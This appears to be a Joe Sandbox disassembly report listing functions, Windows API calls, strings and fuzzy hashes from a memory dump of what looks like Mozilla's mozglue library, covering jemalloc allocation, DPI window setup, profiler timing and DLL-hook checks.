Instruction ID: ba4cee05f853667a86a3b2f96fe3ee7b87fe99ee294be254da114b435df8695e
Opcode Fuzzy Hash: 4a61f61466a0a4d3ffd4867e7878c3977c8b8918e668116bca99cb2877399b8f
Instruction Fuzzy Hash: 85529471A042159BEF21DF64CC84BAA77BCFF4A708F104199E909A7640EB75AE84CF91

Function 6C346FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C347019
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C347061
EnterCriticalSection.KERNEL32(?), ref: 6C3471A4
LeaveCriticalSection.KERNEL32(?), ref: 6C34721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C34723E
EnterCriticalSection.KERNEL32(?), ref: 6C34726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C3472B2
LeaveCriticalSection.KERNEL32(?), ref: 6C34733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C3473E8
LeaveCriticalSection.KERNEL32(?), ref: 6C34961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C349622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C349642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C34964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3496CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3496DB
AcquireSRWLockExclusive.KERNEL32(6C39E804), ref: 6C349747
GetSystemInfo.KERNEL32(?), ref: 6C349792
__Init_thread_footer.LIBCMT ref: 6C3497A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C39E810,00000040), ref: 6C3497CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7B8,00001388), ref: 6C349838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E744,00001388), ref: 6C34984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E784,00001388), ref: 6C349874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7DC,00001388), ref: 6C349895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C3499A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C3499BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C349993
MOZ_CRASH(), xrefs: 6C349B42
MALLOC_OPTIONS, xrefs: 6C3497CA
<jemalloc>, xrefs: 6C349B33, 6C349BE3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C3499D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C349933, 6C349A33, 6C349A4E
Compile-time page size does not divide the runtime one., xrefs: 6C349B38
: (malloc) Unsupported character in malloc options: ', xrefs: 6C349BF4

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 7dcb58c0bfacb56150e8693ad4f88cfe65cbcd48b7897066d865b4dedeaff446
Instruction ID: 493075c11ceb0602122653cf67903dcaa5629cfd3dc74e9f139e17475aa0a9fc
Opcode Fuzzy Hash: 7dcb58c0bfacb56150e8693ad4f88cfe65cbcd48b7897066d865b4dedeaff446
Instruction Fuzzy Hash: 5C538A71A097018FD714CF28C580615BBE5BF8A328F29C6ADE869CB791D772E841CF91

Function 6C350DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C350F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C350F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C350FB7
EnterCriticalSection.KERNEL32(?), ref: 6C350FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C351031
LeaveCriticalSection.KERNEL32(?), ref: 6C3510D0
EnterCriticalSection.KERNEL32(?), ref: 6C35117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C351C39
EnterCriticalSection.KERNEL32(6C39E744), ref: 6C353391
LeaveCriticalSection.KERNEL32(6C39E744), ref: 6C3533CD
LeaveCriticalSection.KERNEL32(?), ref: 6C353431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C353437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C3537A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C3537BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C353793
MOZ_CRASH(), xrefs: 6C353950
MALLOC_OPTIONS, xrefs: 6C3535FE
<jemalloc>, xrefs: 6C353941, 6C3539F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C3537D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C353559, 6C35382D, 6C353848
Compile-time page size does not divide the runtime one., xrefs: 6C353946
: (malloc) Unsupported character in malloc options: ', xrefs: 6C353A02

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 61a4534e8c0434d9645c001302dd5057ca6b99d27bd3b36db8f14bded0f51963
Instruction ID: 2fdf2cc1020b6f9a4db1fde9b46582955d63456b8409e5a1172c94621d0f2846
Opcode Fuzzy Hash: 61a4534e8c0434d9645c001302dd5057ca6b99d27bd3b36db8f14bded0f51963
Instruction Fuzzy Hash: 85539C72A057018FC704CF29C580A16FBE1BF89328F69C66DE8699B791D772E851CF81

Function 6C3755F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C34E1A5), ref: 6C375606
LoadLibraryW.KERNEL32(gdi32,?,6C34E1A5), ref: 6C37560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C375633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C37563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C37566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C37567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C375696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C3756B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C3756CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C3756E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C3756FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C375716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C37572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C375748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C375761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C37577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C375793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C3757A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C3757BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C3757D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C3757EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C3757FF

Strings

RegisterClassW, xrefs: 6C3756AC
LoadCursorW, xrefs: 6C375774
GetDpiForWindow, xrefs: 6C375690
ReleaseDC, xrefs: 6C375742
CreateWindowExW, xrefs: 6C3756C5
MonitorFromWindow, xrefs: 6C37578D
GetMonitorInfoW, xrefs: 6C3757A2
LoadIconW, xrefs: 6C37575B
GetThreadDpiAwarenessContext, xrefs: 6C37562D
GetWindowDC, xrefs: 6C375710
CreateSolidBrush, xrefs: 6C3757E4
AreDpiAwarenessContextsEqual, xrefs: 6C375637
SetWindowLongPtrW, xrefs: 6C3757B7
user32, xrefs: 6C375601
FillRect, xrefs: 6C375729
StretchDIBits, xrefs: 6C3757CC
ShowWindow, xrefs: 6C3756DE
SetWindowPos, xrefs: 6C3756F7
gdi32, xrefs: 6C37560A
EnableNonClientDpiScaling, xrefs: 6C375666
GetSystemMetricsForDpi, xrefs: 6C375677
DeleteObject, xrefs: 6C3757F9

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: cf433003a87245ac1c9d55817bb26f96993f2cd3c57fc6833d5d0ba341e19682
Instruction ID: a6aee42f160e9fb667ff1b9769c8def9952cc4c0d37b20123824e22b99f8757c
Opcode Fuzzy Hash: cf433003a87245ac1c9d55817bb26f96993f2cd3c57fc6833d5d0ba341e19682
Instruction Fuzzy Hash: E3511674B11707ABEB25AF359D4492A3AFCAB0A249710452DF912E6A51FB7ECC00CF74

Function 6C3734A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3735BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3735E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3736CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3738BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3739EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C373EE2

Part of subcall function 6C376180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C3761DD
Part of subcall function 6C376180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C37622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3740F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C374157

Part of subcall function 6C376180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C376250
Part of subcall function 6C376180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C376292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C374448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C37484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C374863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C374878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C374896
free.MOZGLUE ref: 6C37489F

Strings

, xrefs: 6C374CD2

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 39695d4f2eec1780c29c1acd15e9d7abfc1d34e7b73a6c1ee048540a1906ed62
Instruction ID: 4dddae58992c7c5533cd3f5a8be0c0d55e1aafe81799c92dc85a265d1c0d4fad
Opcode Fuzzy Hash: 39695d4f2eec1780c29c1acd15e9d7abfc1d34e7b73a6c1ee048540a1906ed62
Instruction Fuzzy Hash: 8EF24B749097808FC731CF28C08469AFBF5BF8A314F118A5ED99997711DB72A896CF42

Function 6C35F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C35F09B

Part of subcall function 6C335B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3356EE,?,00000001), ref: 6C335B85
Part of subcall function 6C335B50: EnterCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335B90
Part of subcall function 6C335B50: LeaveCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335BD8
Part of subcall function 6C335B50: GetTickCount64.KERNEL32 ref: 6C335BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C35F0AC

Part of subcall function 6C335C50: GetTickCount64.KERNEL32 ref: 6C335D40
Part of subcall function 6C335C50: EnterCriticalSection.KERNEL32(6C39F688), ref: 6C335D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C35F0BE

Part of subcall function 6C335C50: __aulldiv.LIBCMT ref: 6C335DB4
Part of subcall function 6C335C50: LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C335DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C35F155
GetCurrentThreadId.KERNEL32 ref: 6C35F1E0
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F1ED
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F212
GetCurrentThreadId.KERNEL32 ref: 6C35F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F248
GetCurrentThreadId.KERNEL32 ref: 6C35F2AE
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F2BB
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F2F8

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F350
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F35D
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F381
GetCurrentThreadId.KERNEL32 ref: 6C35F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F3A0
GetCurrentThreadId.KERNEL32 ref: 6C35F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F491

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F3CF

Part of subcall function 6C35F070: GetCurrentThreadId.KERNEL32 ref: 6C35F440
Part of subcall function 6C35F070: AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F44D
Part of subcall function 6C35F070: ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F4A8
GetCurrentThreadId.KERNEL32 ref: 6C35F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F561
GetCurrentThreadId.KERNEL32 ref: 6C35F577
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F585
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C35F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C35F499
[I %d/%d] profiler_resume, xrefs: 6C35F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C35F3A8

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: ec4c499c998b33111aade870a7e2eade4d217a430c5de18c2db0894db60bbb63
Instruction ID: 1ea8af41982c48f6e978bc28f032a72e3d29f73831123e51ab3bd31696c44e29
Opcode Fuzzy Hash: ec4c499c998b33111aade870a7e2eade4d217a430c5de18c2db0894db60bbb63
Instruction Fuzzy Hash: 9DD1F575A043049FDB109F68D404BAA77BDEF4E32CF51451AF99987B80EB725818CFA2

Function 6C3264C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C3264DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C3264F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C326505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C326518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C32652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C32671C
GetCurrentProcess.KERNEL32 ref: 6C326724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C32672F
GetCurrentProcess.KERNEL32 ref: 6C326759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C326764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C326A80
GetSystemInfo.KERNEL32(?), ref: 6C326ABE
__Init_thread_footer.LIBCMT ref: 6C326AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C326AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C326AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C326798
nvdxgiwrap.dll, xrefs: 6C326513
nvd3d9wrap.dll, xrefs: 6C326500
detoured.dll, xrefs: 6C3264DA
_etoured.dll, xrefs: 6C3264ED
user32.dll, xrefs: 6C326526

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: bd54b5ad51c0e514f947a7f11f84d4070052f1758e33bfc3cd9e4256e3e08b20
Instruction ID: 39df19b1c87b0ba5c93a0fabf3631eae53e28e5d67a6829bf1d6f0507248a06d
Opcode Fuzzy Hash: bd54b5ad51c0e514f947a7f11f84d4070052f1758e33bfc3cd9e4256e3e08b20
Instruction Fuzzy Hash: 47F1E370D052199FDF20CF24DC88BDAB7B9AF06318F144299E859E7641E736AE84CF91

Function 6C33D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C33D904
LeaveCriticalSection.KERNEL32(?), ref: 6C33D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C33D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C33E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C33E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33E315
AcquireSRWLockExclusive.KERNEL32(6C39E804), ref: 6C33E37C
GetSystemInfo.KERNEL32(?), ref: 6C33E3C7
__Init_thread_footer.LIBCMT ref: 6C33E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C39E810,00000040), ref: 6C33E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7B8,00001388), ref: 6C33E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E744,00001388), ref: 6C33E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E784,00001388), ref: 6C33E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7DC,00001388), ref: 6C33E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E768,00001388), ref: 6C33E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C33E52E
ReleaseSRWLockExclusive.KERNEL32(6C39E804), ref: 6C33E54F

Part of subcall function 6C32D960: EnterCriticalSection.KERNEL32(?), ref: 6C32D999
Part of subcall function 6C32D960: EnterCriticalSection.KERNEL32(6C39E7B8), ref: 6C32DA13

Strings

MOZ_CRASH(), xrefs: 6C33E62B
MALLOC_OPTIONS, xrefs: 6C33E3FF
<jemalloc>, xrefs: 6C33E61C, 6C33E6CC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C33E560, 6C33E58A, 6C33E5A5
Compile-time page size does not divide the runtime one., xrefs: 6C33E621
: (malloc) Unsupported character in malloc options: ', xrefs: 6C33E6DD

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 7ca91a0f4bfe0f9e01d7c9ce824a8ba941174a4198b199a73261fea15ef553e6
Instruction ID: 0a7f683f28d5c37dc30ce0933ab63152186944b3db8746f1f7e06631478e4058
Opcode Fuzzy Hash: 7ca91a0f4bfe0f9e01d7c9ce824a8ba941174a4198b199a73261fea15ef553e6
